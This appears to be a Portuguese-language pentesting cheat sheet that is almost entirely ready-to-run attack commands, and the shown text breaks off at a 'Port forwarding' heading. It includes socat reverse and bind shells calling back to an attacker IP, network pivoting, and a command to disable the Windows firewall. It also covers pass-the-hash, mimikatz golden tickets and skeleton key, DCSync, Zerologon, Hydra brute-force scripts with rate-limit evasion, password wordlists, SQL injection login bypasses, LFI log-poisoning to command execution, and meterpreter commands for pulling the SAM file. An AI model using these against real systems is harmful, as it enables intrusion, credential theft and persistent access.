# Receptor (recebe arquivo)
nc -lvnp 4444 > arquivo_recebido.txt

# Remetente (envia arquivo)
nc SERVIDOR_IP 4444 < arquivo_para_enviar.txt

# Transferir diretório completo
tar -czf - /etc | nc SERVIDOR_IP 4444
nc -lvnp 4444 | tar -xzf -

# Transferir com progresso
pv arquivo.iso | nc SERVIDOR_IP 4444
nc -lvnp 4444 | pv > arquivo.iso

# Chat simples
# Terminal 1
nc -lvnp 4444

# Terminal 2  
nc SERVIDOR_IP 4444

# Ambos podem digitar e enviar mensagens
# Ctrl+C para sair

# Scan de porta única
nc -zv SERVIDOR_IP 22

# Scan de range de portas
nc -zv SERVIDOR_IP 1-1000

# Scan UDP
nc -zuv SERVIDOR_IP 53

# Scan com timeout
nc -zv -w 3 SERVIDOR_IP 1-100

# Script para scan rápido
for port in 22 80 443 21 25 53 110 143 993 995; do
    nc -zv SERVIDOR_IP $port 2>&1 | grep succeeded
done

# HTTP banner
echo -e "GET / HTTP/1.0\r\n\r\n" | nc SERVIDOR_IP 80

# SSH banner
nc SERVIDOR_IP 22

# SMTP banner  
nc SERVIDOR_IP 25

# FTP banner
nc SERVIDOR_IP 21

# Script para múltiplos serviços
for service in 21 22 25 53 80 110 143 443; do
    echo "=== Port $service ==="
    nc -zv SERVIDOR_IP $service
    echo "" | nc -w 2 SERVIDOR_IP $service
    echo
done

# Na vítima (Linux)
socat TCP-LISTEN:4444,fork EXEC:/bin/bash

# No atacante
socat - TCP:SERVIDOR_IP:4444

# Bind shell interativo (com pty)
socat TCP-LISTEN:4444,fork EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane

# Windows
socat TCP-LISTEN:4444,fork EXEC:'cmd.exe',pipes

# No atacante (listener)
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444

# Na vítima (conecta de volta)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATACANTE_IP:4444

# Reverse shell Windows
socat TCP:ATACANTE_IP:4444 EXEC:'cmd.exe',pipes

# Shell estável e interativo
socat TCP-LISTEN:4444,fork,reuseaddr FILE:`tty`,raw,echo=0

# Forward local para remoto
socat TCP-LISTEN:8080,fork TCP:SERVIDOR_IP:80

# SSH tunnel via socat
socat TCP-LISTEN:2222,fork TCP:SERVIDOR_IP:22

# RDP tunnel
socat TCP-LISTEN:3389,fork TCP:SERVIDOR_IP:3389

# Múltiplos forwards
socat TCP-LISTEN:8080,fork TCP:webserver:80 &
socat TCP-LISTEN:2222,fork TCP:sshserver:22 &

# Relay entre dois hosts
socat TCP-LISTEN:4444,fork TCP:INTERNO_IP:4444

# Tunnel HTTP via proxy
socat TCP-LISTEN:8080,fork PROXY:proxy.company.com:80:targethost.com:80

# SOCKS proxy simples
socat TCP-LISTEN:1080,fork SOCKS4:proxy:destination:port

# Conectar redes isoladas
# Host A (DMZ)
socat TCP-LISTEN:8080,fork TCP:internal-server:80

# Host B (externo)  
socat TCP-LISTEN:9090,fork TCP:dmz-host:8080

# Servidor SSL
socat OPENSSL-LISTEN:4433,cert=/path/to/cert.pem,key=/path/to/key.pem,fork STDOUT

# Cliente SSL
socat STDIN OPENSSL:SERVIDOR_IP:4433

# SSL sem verificação de certificado
socat STDIN OPENSSL:target.com:443,verify=0

# Reverse shell SSL (atacante)
socat OPENSSL-LISTEN:4433,cert=server.pem,key=server.key,verify=0,fork FILE:`tty`,raw,echo=0

# Reverse shell SSL (vítima)
socat OPENSSL:ATACANTE_IP:4433,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

# Gerar certificado auto-assinado
openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days 365 -out server.crt

# Combinar certificado e chave
cat server.crt server.key > server.pem

# Usar certificado
socat OPENSSL-LISTEN:4433,cert=server.pem,verify=0,fork EXEC:/bin/bash

# Cliente SSL
socat STDIN OPENSSL:SERVIDOR_IP:4433,verify=0

# Forward HTTP
socat TCP-LISTEN:8080,fork TCP:SERVIDOR_IP:80

# Forward SSH com log
socat -v TCP-LISTEN:2222,fork TCP:SERVIDOR_IP:22

# Forward RDP
socat TCP-LISTEN:3389,fork TCP:SERVIDOR_IP:3389

# Forward com bind específico
socat TCP-LISTEN:8080,bind=ATACANTE_IP,fork TCP:SERVIDOR_IP:80

# Chain de forwards
# Host A (atacante) -> Host B (pivot) -> Host C (alvo)

# No Host B (pivot)
socat TCP-LISTEN:8080,fork TCP:REDE_INTERNA.10:80

# No Host A (atacante)
curl http://SERVIDOR_IP:8080

# Relay bidirecional
socat TCP-LISTEN:4444,fork TCP-LISTEN:5555,fork

# Double pivot
socat TCP-LISTEN:8080,fork TCP:next-pivot:8080

# Adicionar port forward
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=SERVIDOR_IP

# Listar forwards ativos
netsh interface portproxy show all

# Remover forward específico
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0

# Reset todos os forwards
netsh interface portproxy reset

# Exemplo prático - RDP forward
netsh interface portproxy add v4tov4 listenport=33389 connectport=3389 connectaddress=INTERNO_IP

# Permitir porta no firewall
netsh advfirewall firewall add rule name="Port Forward 8080" dir=in action=allow protocol=TCP localport=8080

# Listar regras
netsh advfirewall firewall show rule name=all

# Remover regra
netsh advfirewall firewall delete rule name="Port Forward 8080"

# Desabilitar firewall (se necessário)
netsh advfirewall set allprofiles state off

# RDAP para domínio brasileiro
curl "https://rdap.registro.br/domain/empresa.com.br.br"

# RDAP para domínio .com
curl "https://rdap.verisign.com/com/v1/domain/empresa.com.br"

# RDAP para IP APNIC
curl "https://rdap.apnic.net/ip/203.119.101.61"

# RDAP para IP ARIN
curl "https://rdap.arin.net/registry/ip/8.8.8.8"

# Cymru WHOIS
whois -h whois.cymru.com " -v 8.8.8.8"

# Team Cymru IP to ASN
dig TXT 8.8.8.8.origin.asn.cymru.com +short

# RADB WHOIS
whois -h whois.radb.net -- '-i origin AS15169'

# Hurricane Electric BGP Toolkit
curl "https://lg.he.net/cgi-bin/bgplg?cmd=show%20ip%20bgp%208.8.8.8"

# Acessar sitemap principal
curl -s http://empresa.com.br/sitemap.xml

# Buscar sitemaps adicionais
curl -s http://empresa.com.br/sitemap.xml | grep -o 'http[^<]*\.xml'

# Extrair URLs do sitemap
curl -s http://empresa.com.br/sitemap.xml | grep -o '[^<]*' | sed 's///'

# Localização padrão
curl -s http://empresa.com.br/.well-known/security.txt

# Localização alternativa
curl -s http://empresa.com.br/security.txt

# Verificar contatos de segurança
curl -s http://empresa.com.br/.well-known/security.txt | grep -E "(Contact|Email)"

# Scan completo de todas as portas TCP
nmap -v -sS -p- -Pn SERVIDOR_IP

# Com service detection
nmap -v -sSV -p- -Pn SERVIDOR_IP

# UDP scan com service detection (portas específicas)
nmap -v -sUV -p 53,67,68,69,161,162,514 SERVIDOR_IP

# 1. Descobrir hosts ativos
nmap -v -sn REDE_ALVO/24 -oG hosts_ativos.txt
grep "Up" hosts_ativos.txt | cut -d " " -f 2 > hosts.txt

# 2. Scan de serviços específicos
nmap -sS -p 22,80,443 --open -Pn -iL hosts.txt -oG servicos.txt

# 3. Service detection nos hosts ativos
nmap -sSV -p 22,80,443 --open -Pn -iL hosts.txt -oG servicos_detalhado.txt

# Diretório dos scripts
cd /usr/share/nmap/scripts

# Buscar scripts por serviço
grep "ftp" script.db
grep "ssh" script.db
grep "http" script.db

# Listar por categoria
ls *-vuln*
ls *-brute*
ls *-enum*

# Script específico
nmap --script ssh-brute SERVIDOR_IP

# Categoria de scripts
nmap --script vuln SERVIDOR_IP
nmap --script auth SERVIDOR_IP
nmap --script discovery SERVIDOR_IP

# Múltiplos scripts
nmap --script "http-*" SERVIDOR_IP

# Scripts padrão
nmap -sC SERVIDOR_IP

# HTTP/HTTPS
nmap --script http-enum SERVIDOR_IP
nmap --script http-title SERVIDOR_IP
nmap --script ssl-cert SERVIDOR_IP

# SSH
nmap --script ssh-auth-methods SERVIDOR_IP
nmap --script ssh2-enum-algos SERVIDOR_IP

# SMB
nmap --script smb-vuln-* SERVIDOR_IP
nmap --script smb-enum-shares SERVIDOR_IP

# MySQL
nmap --script mysql-info SERVIDOR_IP
nmap --script mysql-brute SERVIDOR_IP

# Com NetCat
nc -nv SERVIDOR_IP 80
OPTIONS / HTTP/1.1
Host: site.com.br

# Com curl
curl -X OPTIONS http://SERVIDOR_IP -v

# Nmap script
nmap --script http-methods SERVIDOR_IP

# PUT method (upload de arquivos)
curl -X PUT http://SERVIDOR_IP/test.txt -d "test content"

# DELETE method  
curl -X DELETE http://SERVIDOR_IP/test.txt

# TRACE method (possível XSS)
curl -X TRACE http://SERVIDOR_IP

# PATCH method
curl -X PATCH http://SERVIDOR_IP -d "data"

# Todas as vulnerabilidades SMB
nmap --script smb-vuln-* SERVIDOR_IP

# EternalBlue (MS17-010)
nmap --script smb-vuln-ms17-010 SERVIDOR_IP

# SMBv1 check
nmap --script smb-protocols SERVIDOR_IP

# Enumerar shares
nmap --script smb-enum-shares SERVIDOR_IP

# Enumerar usuários
nmap --script smb-enum-users SERVIDOR_IP

# OS discovery
nmap --script smb-os-discovery SERVIDOR_IP

# Informações do sistema
nmap --script smb-system-info SERVIDOR_IP

# Conectar com null session
rpcclient -U "" SERVIDOR_IP

# Comandos úteis dentro do rpcclient:
# ? - listar comandos disponíveis
# enumdomusers - enumerar usuários do domínio
# queryuser [username] - informações sobre usuário específico
# enumdomgroups - enumerar grupos do domínio
# querygroupmem [RID] - membros de um grupo

# DNS lookup para DCs
nslookup
set type=SRV
_ldap._tcp.dc._msdcs.domain.corp

# Nmap para serviços AD
nmap -p 88,135,139,389,445,636,3268,3269 REDE_ALVO/24

# Enum4linux para informações AD
enum4linux -a SERVIDOR_IP

# LDAP anonymous bind
ldapsearch -x -h SERVIDOR_IP -s base

# SMB enumeration para DCs
smbclient -L //SERVIDOR_IP -N

# CrackMapExec with hash
crackmapexec smb REDE_ALVO/24 -u administrator -H 'aad3b435b51404ee:5509de4fa6e25e13c69f90c24e5d2453' --local-auth

# PSExec with hash
psexec.py administrator@SERVIDOR_IP -hashes aad3b435b51404ee:5509de4fa6e25e13c69f90c24e5d2453

# WMI execution
wmiexec.py administrator@SERVIDOR_IP -hashes aad3b435b51404ee:5509de4fa6e25e13c69f90c24e5d2453

# SMB execution
smbexec.py administrator@SERVIDOR_IP -hashes aad3b435b51404ee:5509de4fa6e25e13c69f90c24e5d2453

# Export ticket from memory
mimikatz "sekurlsa::tickets /export"

# Use ticket
export KRB5CCNAME=/tmp/ticket.ccache
psexec.py domain.corp/user@target.domain.corp -k -no-pass

# Golden ticket attack
python3 ticketer.py -nthash KRBTGT_HASH -domain-sid DOMAIN_SID -domain domain.corp administrator

# SSH tunneling
ssh -L 8080:internal-server:80 user@compromised-host

# Metasploit pivoting
use post/multi/manage/autoroute
set SESSION 1
set SUBNET REDE_INTERNA.0/24
run

# Chisel tunneling
# On attacker machine
./chisel server -p 8000 -reverse

# On compromised machine  
./chisel client IP_ATACANTE:8000 R:1080:socks

# DCSync attack
secretsdump.py domain.corp/user:password@SERVIDOR_IP

# Zerologon (CVE-2020-1472)
zerologon.py DC_NAME SERVIDOR_IP

# PrintNightmare
use exploit/windows/dcerpc/cve_2021_1675_printnightmare

# DCShadow (advanced)
mimikatz "lsadump::dcshadow /object:CN=krbtgt,CN=Users,DC=domain,DC=corp"

# Golden ticket
mimikatz "kerberos::golden /user:administrator /domain:domain.corp /sid:S-1-5-... /krbtgt:HASH /ptt"

# Silver ticket
mimikatz "kerberos::golden /user:administrator /domain:domain.corp /sid:S-1-5-... /target:server.domain.corp /service:cifs /rc4:HASH /ptt"

# Skeleton key
mimikatz "privilege::debug" "misc::skeleton"

# DSRM backdoor
mimikatz "token::elevate" "lsadump::sam"

# Baseado em informações coletadas
echo "empresa2023" >> custom.txt
echo "Empresa123!" >> custom.txt
echo "empresa@2023" >> custom.txt
echo "nomeempresa" >> custom.txt

# Variações sazonais
echo "empresa_verao2023" >> custom.txt
echo "empresa_inverno2023" >> custom.txt
echo "natal2023" >> custom.txt

# Padrões corporativos comuns
echo "Password123!" >> custom.txt
echo "Welcome123" >> custom.txt
echo "Spring2023!" >> custom.txt
echo "Changeme123" >> custom.txt

# Brasil
echo "brasil123" >> brasil.txt
echo "Brasil2023" >> brasil.txt
echo "saopaulo" >> brasil.txt
echo "riodejaneiro" >> brasil.txt
echo "brasilia" >> brasil.txt

# Times de futebol
echo "flamengo" >> brasil.txt
echo "corinthians" >> brasil.txt
echo "palmeiras" >> brasil.txt
echo "santos" >> brasil.txt

# Expressões brasileiras
echo "valeu123" >> brasil.txt
echo "brigadao" >> brasil.txt

# Padrões observados em empresas
# Formato: Palavra + Número + Símbolo
Password1!
Password123!
Welcome1!
Spring2023!
Summer2023!
Winter2023!

# Formato: Empresa + Ano
CompanyName2023
NomeEmpresa2023
[COMPANY]2023

# Teclado patterns
qwerty123
123456789
password
admin
administrator

# Arquivo de configuração
/etc/john/john.conf

# Ver rules disponíveis
john --list=rules

# Usar rule específica
john --wordlist=wordlist.txt --rules=KoreLogic hashes.txt

# Usar rule personalizada
john --wordlist=wordlist.txt --rules=Custom hashes.txt

# Gerar wordlist com rules
john --wordlist=wordlist.txt --rules --stdout > mutated.txt

# Adicionar ao john.conf
[List.Rules:Custom]
# Capitalizar e adicionar números
c $1 $2 $3
c $2 $0 $1 $9
c $! $@

# Duplicar palavra
d
# password -> passwordpassword

# Reverter
r
# password -> drowssap

# Todas em maiúsculas + números
u $1 $2 $3
u $2 $0 $2 $1

#!/usr/bin/env python3
# wordlist_mutator.py

import sys

def mutate_wordlist(wordlist_file):
    mutations = []
    
    with open(wordlist_file, 'r', encoding='utf-8', errors='ignore') as f:
        for line in f:
            word = line.strip()
            if len(word) < 3:
                continue
                
            # Mutações básicas
            mutations.append(word)
            mutations.append(word.capitalize())
            mutations.append(word.upper())
            mutations.append(word.lower())
            
            # Adicionar números
            for num in ['123', '1', '01', '2023', '2024']:
                mutations.append(word + num)
                mutations.append(word.capitalize() + num)
            
            # Adicionar símbolos
            for symbol in ['!', '@', '#', '$']:
                mutations.append(word + symbol)
                mutations.append(word + '123' + symbol)
            
            # Leetspeak básico
            leet = word.replace('a', '@').replace('e', '3').replace('i', '1').replace('o', '0')
            mutations.append(leet)
            mutations.append(leet.capitalize())
    
    return list(set(mutations))  # Remove duplicatas

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 wordlist_mutator.py wordlist.txt")
        sys.exit(1)
    
    mutations = mutate_wordlist(sys.argv[1])
    for mutation in sorted(mutations):
        print(mutation)

#!/bin/bash
# mutate.sh - Mutações simples com bash

INPUT_FILE="$1"
OUTPUT_FILE="mutated_$(basename $INPUT_FILE)"

# Limpar arquivo de saída
> "$OUTPUT_FILE"

while IFS= read -r word; do
    # Palavra original
    echo "$word" >> "$OUTPUT_FILE"
    
    # Primeira letra maiúscula
    echo "${word^}" >> "$OUTPUT_FILE"
    
    # Tudo maiúsculo
    echo "${word^^}" >> "$OUTPUT_FILE"
    
    # Adicionar números comuns
    for num in 123 1 01 2023; do
        echo "$word$num" >> "$OUTPUT_FILE"
        echo "${word^}$num" >> "$OUTPUT_FILE"
    done
    
    # Adicionar símbolos
    for symbol in "!" "@" "#"; do
        echo "$word$symbol" >> "$OUTPUT_FILE"
    done
    
done < "$INPUT_FILE"

# Remover duplicatas e ordenar
sort -u "$OUTPUT_FILE" -o "$OUTPUT_FILE"
echo "Mutações salvas em: $OUTPUT_FILE"

# 1. Password Spraying vs Brute Force
# Em vez de testar todas as senhas para um usuário:
# user1: password1, password2, password3...

# Teste uma senha para muitos usuários:
# password1: user1, user2, user3...

# 2. Políticas de Senha Conhecidas
# Se política exige: 8+ chars, 1 maiúscula, 1 número
# Foque em wordlists que seguem essa regra

# 3. Padrões Observados
# Empresas brasileiras costumam usar:
# - Nome da empresa + ano
# - Welcome + ano
# - Password + número

# Filtrar por tamanho (8+ caracteres)
awk 'length($0) >= 8' wordlist.txt > filtered.txt

# Senhas que seguem política (maiúscula + número)
grep -E '^(?=.*[A-Z])(?=.*[0-9]).{8,}$' wordlist.txt > policy_compliant.txt

# Remover senhas muito simples
grep -v -E '^[0-9]{4,8}$' wordlist.txt > no_simple_numbers.txt

# Top senhas por frequência
sort wordlist.txt | uniq -c | sort -nr | head -10000 | awk '{print $2}' > top10k.txt

#!/usr/bin/env python3
# wordlist_stats.py

import re
from collections import Counter

def analyze_wordlist(filename):
    passwords = []
    with open(filename, 'r', encoding='utf-8', errors='ignore') as f:
        passwords = [line.strip() for line in f]
    
    print(f"Total senhas: {len(passwords)}")
    print(f"Senhas únicas: {len(set(passwords))}")
    
    # Análise de tamanho
    lengths = [len(p) for p in passwords]
    print(f"Tamanho médio: {sum(lengths)/len(lengths):.1f}")
    print(f"Tamanho mais comum: {Counter(lengths).most_common(1)[0]}")
    
    # Padrões comuns
    with_numbers = sum(1 for p in passwords if re.search(r'\d', p))
    with_uppercase = sum(1 for p in passwords if re.search(r'[A-Z]', p))
    with_symbols = sum(1 for p in passwords if re.search(r'[!@#$%^&*]', p))
    
    print(f"Com números: {with_numbers} ({with_numbers/len(passwords)*100:.1f}%)")
    print(f"Com maiúsculas: {with_uppercase} ({with_uppercase/len(passwords)*100:.1f}%)")
    print(f"Com símbolos: {with_symbols} ({with_symbols/len(passwords)*100:.1f}%)")

# analyze_wordlist('rockyou.txt')

# Capturar requisição com Burp Suite primeiro
# POST /login HTTP/1.1
# Content-Type: application/x-www-form-urlencoded
# username=admin&password=test&csrf_token=abc123

# Hydra com CSRF token
hydra -L users.txt -P passwords.txt SERVIDOR_IP http-post-form "/login:username=^USER^&password=^PASS^&csrf_token=abc123:F=Invalid login"

# Com cookie de sessão
hydra -L users.txt -P passwords.txt SERVIDOR_IP http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid:H=Cookie: PHPSESSID=abc123"

# JSON payload
hydra -L users.txt -P passwords.txt SERVIDOR_IP http-post-form "/api/login:{\"username\":\"^USER^\",\"password\":\"^PASS^\"}:F=error:H=Content-Type: application/json"

# Múltiplas condições de falha
hydra -L users.txt -P passwords.txt SERVIDOR_IP http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid:F=Incorrect:F=Failed"

# Usar User-Agent customizado
hydra -L users.txt -P passwords.txt SERVIDOR_IP http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid:H=User-Agent: Mozilla/5.0 (compatible; SecurityTest)"

# Adicionar delay para evitar rate limiting
hydra -w 5 -L users.txt -P passwords.txt SERVIDOR_IP ssh

# Usar proxy
hydra -L users.txt -P passwords.txt SERVIDOR_IP ssh -o proxy=socks4://127.0.0.1:1080

# Randomizar ordem de tentativas
shuf users.txt > users_random.txt
hydra -L users_random.txt -P passwords.txt SERVIDOR_IP ssh

# Distribuir entre múltiplas IPs de origem
hydra -L users.txt -P passwords.txt -M targets.txt ssh

# Dividir wordlist entre múltiplas máquinas
split -l 50000 passwords.txt pass_part_

# Máquina 1
hydra -L users.txt -P pass_part_aa SERVIDOR_IP ssh

# Máquina 2  
hydra -L users.txt -P pass_part_ab SERVIDOR_IP ssh

# Usar ferramentas complementares
# CrackMapExec para password spraying em múltiplos hosts
crackmapexec smb REDE_ALVO/24 -u users.txt -p passwords.txt

# Patator para casos mais complexos
patator ssh_login host=SERVIDOR_IP user=FILE0 password=FILE1 0=users.txt 1=passwords.txt

# Protocolos rápidos (HTTP, FTP)
hydra -t 64 -L users.txt -P passwords.txt SERVIDOR_IP http-post-form "..."

# Protocolos médios (SSH, Telnet)
hydra -t 32 -L users.txt -P passwords.txt SERVIDOR_IP ssh

# Protocolos lentos (RDP, VNC)
hydra -t 8 -L users.txt -P passwords.txt SERVIDOR_IP rdp

# Teste para encontrar número ideal
for threads in 8 16 32 64; do
    echo "Testing $threads threads..."
    time hydra -t $threads -l test -p test SERVIDOR_IP ssh
done

# Monitorar uso de CPU/RAM
htop

# Limitar uso de CPU (nice)
nice -n 10 hydra -L users.txt -P passwords.txt SERVIDOR_IP ssh

# Executar em background com nohup
nohup hydra -L users.txt -P passwords.txt SERVIDOR_IP ssh > hydra.log 2>&1 &

# Salvar progresso (importante para listas grandes)
hydra -L users.txt -P passwords.txt SERVIDOR_IP ssh -o results.txt

# Retomar de onde parou (com ferramentas complementares)
hydra -L users.txt -P remaining_passwords.txt SERVIDOR_IP ssh

# 1. Começar com passwords mais prováveis
head -10000 rockyou.txt > top10k.txt
hydra -L users.txt -P top10k.txt SERVIDOR_IP ssh

# 2. Password spraying primeiro
hydra -L users.txt -p Password123! SERVIDOR_IP ssh
hydra -L users.txt -p Welcome123 SERVIDOR_IP ssh

# 3. Senhas específicas do ambiente
echo "empresa2023" > custom.txt
echo "Welcome2023" >> custom.txt
hydra -L users.txt -P custom.txt SERVIDOR_IP ssh

# 4. Usar estatísticas para priorizar
# Analisar vazamentos da empresa/setor
# Focar em padrões observados

# Testar senhas simples primeiro
echo "123456" > weak_passwords.txt
echo "password" >> weak_passwords.txt
echo "123456789" >> weak_passwords.txt
echo "qwerty" >> weak_passwords.txt
echo "abc123" >> weak_passwords.txt
echo "password123" >> weak_passwords.txt
echo "admin" >> weak_passwords.txt
echo "letmein" >> weak_passwords.txt
echo "welcome" >> weak_passwords.txt
echo "monkey" >> weak_passwords.txt

# Teste rápido
hydra -L users.txt -P weak_passwords.txt SERVIDOR_IP ssh -f

# Se funcionar, política é fraca - continuar com wordlist maior

# Política: 8+ chars, 1 maiúscula, 1 número
# Gerar senhas que seguem este padrão
echo "Password1" > policy_compliant.txt
echo "Welcome1" >> policy_compliant.txt
echo "Password123" >> policy_compliant.txt
echo "Welcome123" >> policy_compliant.txt
echo "Admin123" >> policy_compliant.txt
echo "User123" >> policy_compliant.txt

# Política com símbolo obrigatório
echo "Password1!" > policy_symbol.txt
echo "Welcome1@" >> policy_symbol.txt
echo "Admin123#" >> policy_symbol.txt

# Política sazonal (muitas empresas fazem isso)
current_year=$(date +%Y)
echo "Password$current_year" > seasonal.txt
echo "Welcome$current_year" >> seasonal.txt
echo "Spring$current_year" >> seasonal.txt
echo "Summer$current_year" >> seasonal.txt

#!/bin/bash
# test_lockout.sh - Testar política de bloqueio

TARGET="$1"
USER="$2"

echo "[+] Testing lockout policy for $USER@$TARGET"

# Tentar várias senhas incorretas rapidamente
for i in {1..10}; do
    echo "[*] Attempt $i"
    sshpass -p "wrongpass$i" ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no "$USER@$TARGET" "echo test" 2>&1 | grep -i "permission\|denied\|refused"
    sleep 1
done

echo "[+] Now testing if account is locked..."
sleep 30
sshpass -p "correctpass" ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no "$USER@$TARGET" "echo test" 2>&1 | grep -i "permission\|denied\|refused"

# Se ainda conseguir tentar, não há lockout
# Se der erro diferente, pode haver lockout

#!/usr/bin/env python3
# brazilian_patterns.py

import datetime

def generate_brazilian_patterns():
    patterns = []
    current_year = datetime.datetime.now().year
    
    # Times de futebol
    teams = ['flamengo', 'corinthians', 'palmeiras', 'santos', 'saopaulo', 
             'vasco', 'botafogo', 'fluminense', 'gremio', 'internacional']
    
    # Cidades brasileiras
    cities = ['saopaulo', 'riodejaneiro', 'brasilia', 'salvador', 'fortaleza',
              'belohorizonte', 'manaus', 'curitiba', 'recife', 'goiania']
    
    # Nomes brasileiros comuns
    names = ['maria', 'jose', 'ana', 'joao', 'francisco', 'carlos',
             'paulo', 'lucas', 'marcos', 'pedro']
    
    # Expressões brasileiras
    expressions = ['valeu', 'brigadao', 'beleza', 'showdebol', 'massa']
    
    # Gerar combinações
    for category, items in [('times', teams), ('cidades', cities), 
                           ('nomes', names), ('expressoes', expressions)]:
        for item in items:
            # Padrões básicos
            patterns.append(item)
            patterns.append(item.capitalize())
            
            # Com números
            patterns.append(f"{item}123")
            patterns.append(f"{item.capitalize()}123")
            patterns.append(f"{item}{current_year}")
            patterns.append(f"{item.capitalize()}{current_year}")
            
            # Com símbolos
            patterns.append(f"{item}!")
            patterns.append(f"{item}@123")
            patterns.append(f"{item.capitalize()}@{current_year}")
    
    return patterns

# Salvar em arquivo
patterns = generate_brazilian_patterns()
with open('brazilian_patterns.txt', 'w') as f:
    for pattern in patterns:
        f.write(pattern + '\n')

print(f"Generated {len(patterns)} Brazilian patterns")

#!/bin/bash
# quick_wins.sh - Sucessos rápidos em brute force

TARGET="$1"
SERVICE="$2"

if [ $# -ne 2 ]; then
    echo "Usage: $0  "
    exit 1
fi

echo "[+] Quick Wins Brute Force - $TARGET:$SERVICE"
echo "================================================"

# Fase 1: Credenciais padrão (5 min)
echo "[*] Phase 1: Default credentials"
hydra -C /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt $TARGET $SERVICE -f

# Fase 2: Top 100 senhas mais comuns (15 min)
echo "[*] Phase 2: Top 100 common passwords"  
head -100 /usr/share/wordlists/rockyou.txt > top100.txt
hydra -l admin -P top100.txt $TARGET $SERVICE -f

# Fase 3: Password spraying com senhas sazonais (30 min)
echo "[*] Phase 3: Seasonal password spraying"
current_year=$(date +%Y)
echo "Password123!" > seasonal.txt
echo "Welcome123!" >> seasonal.txt
echo "Password$current_year" >> seasonal.txt
echo "Welcome$current_year" >> seasonal.txt

# Lista de usuários comuns
echo "admin" > users.txt
echo "administrator" >> users.txt
echo "root" >> users.txt
echo "user" >> users.txt
echo "guest" >> users.txt

hydra -L users.txt -P seasonal.txt $TARGET $SERVICE

# Fase 4: Se alguma credencial funcionar, expandir
echo "[*] Phase 4: If success found, expanding..."
if [ -f "hydra.restore" ]; then
    echo "Expanding successful patterns..."
    head -1000 /usr/share/wordlists/rockyou.txt > expanded.txt
    hydra -L users.txt -P expanded.txt $TARGET $SERVICE
fi

echo "[+] Quick wins completed!"

# Buscar por software e versão
searchsploit apache 2.4.7
searchsploit "Windows 7"
searchsploit linux kernel 4.4

# Buscar por tipo de vulnerabilidade
searchsploit "buffer overflow"
searchsploit "sql injection"
searchsploit "privilege escalation"

# Atualizar base de dados
searchsploit -u

# Examinar exploit específico
searchsploit -x 42341

# Copiar exploit para diretório atual
searchsploit -m 42341

# Busca case sensitive
searchsploit -c "Apache"

# Buscar apenas títulos
searchsploit -t "Remote Code Execution"

# Usar output do Nmap
nmap -sV -oX scan.xml SERVIDOR_IP
searchsploit --nmap scan.xml

# Pipeline direto
nmap -sV SERVIDOR_IP | grep "open\|filtered" | searchsploit --colour

# 1. Identificar serviço
nmap -sV -p 80 SERVIDOR_IP
# Apache/2.4.7 (Ubuntu)

# 2. Buscar vulnerabilidades
searchsploit apache 2.4.7
searchsploit ubuntu apache

# 3. Verificar CVE específico
searchsploit CVE-2017-15715

# 4. Examinar exploit
searchsploit -x 44207

# Payloads clássicos
admin' --
admin'/*
' OR '1'='1' --
' OR 1=1 #
') OR ('1'='1' --
'||'1'='1

# Bypass com comentários
admin'/**/--
admin'#
' OR '1'='1'/*

# Bypass com concatenação
admin'||'1'='1'--
' OR 'x'='x

# Contexto numérico
1 OR 1=1
1' OR '1'='1
1" OR "1"="1

# Contexto de string
test' OR '1'='1' --
test" OR "1"="1" --

# Contexto de login
Username: admin' --
Password: qualquer

# 1. Contaminar log do Apache
curl -A "" http://vulneravel.com.br/

# 2. Incluir log via LFI
http://vulneravel.com.br/page.php?file=../../../var/log/apache2/access.log

# 3. Executar comandos
http://vulneravel.com.br/page.php?file=../../../var/log/apache2/access.log&cmd=id

# 1. Tentar login SSH com payload
ssh ''@vulneravel.com.br

# 2. Incluir log SSH
http://vulneravel.com.br/page.php?file=../../../var/log/auth.log&cmd=whoami

# 1. Contaminar log
curl -A "" http://vulneravel.com.br/

# 2. Incluir log para executar upload
http://vulneravel.com.br/page.php?file=../../../var/log/apache2/access.log

# 3. Acessar shell criada
http://vulneravel.com.br/shell.php?cmd=id

# Verificar status da base de dados
db_status

# Inicializar base de dados (se necessário)
msfdb init

# Fazer scan e salvar na base
db_nmap -sV -p 1-1000 REDE_ALVO/24

# Ver hosts descobertos
hosts

# Ver serviços identificados
services

# Filtrar por porta específica
services -p 80
services -p 22,80,443

# Importar scan do nmap externo
# Primeiro fazer o scan e salvar em XML:
nmap -sV --open -oX /tmp/scan.xml REDE_ALVO/24

# Depois importar no metasploit:
db_import /tmp/scan.xml

# Ver credenciais capturadas
creds

# Adicionar credencial manualmente
creds add user:admin password:123456 host:SERVIDOR_IP

# Listar sessões ativas
sessions
sessions -l

# Interagir com sessão específica
sessions -i 1

# Informações sobre sessão
sessions -i 1 -v

# Matar sessão
sessions -k 1

# Matar todas as sessões
sessions -K

# Atualizar sessão
sessions -u 1  # upgrade to meterpreter

# Executar comando em sessão
sessions -c "whoami" -i 1

# Background de sessão ativa
# (dentro da sessão)
background
bg

# Configurar listener para receber conexões
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST ATACANTE_IP
set LPORT 4444
set ExitOnSession false  # Não fechar após primeira conexão
exploit -j  # Rodar em background

# Handler genérico para shells simples
use exploit/multi/handler
set payload generic/shell_reverse_tcp
set LHOST ATACANTE_IP
set LPORT 4444
exploit -j

# Diretório atual
pwd

# Listar arquivos
dir
ls

# Navegar
cd c:\\windows
cd /etc

# Buscar arquivos
search -f config*.txt
search -d logs

# Download do alvo
download c:\\windows\\system32\\config\\sam
download /etc/passwd

# Upload para o alvo
upload /tmp/shell.exe c:\\windows\\temp\\
upload /tmp/script.sh /tmp/

# Executar arquivo
execute -f c:\\windows\\temp\\shell.exe
execute -f /tmp/script.sh

# Configuração de rede
ipconfig
ifconfig

# Tabela de roteamento
route

# Conexões ativas
netstat

# ARP table
arp

# Adicionar rota
route add 172.16.1.0 255.255.255.0 1

# Port forwarding
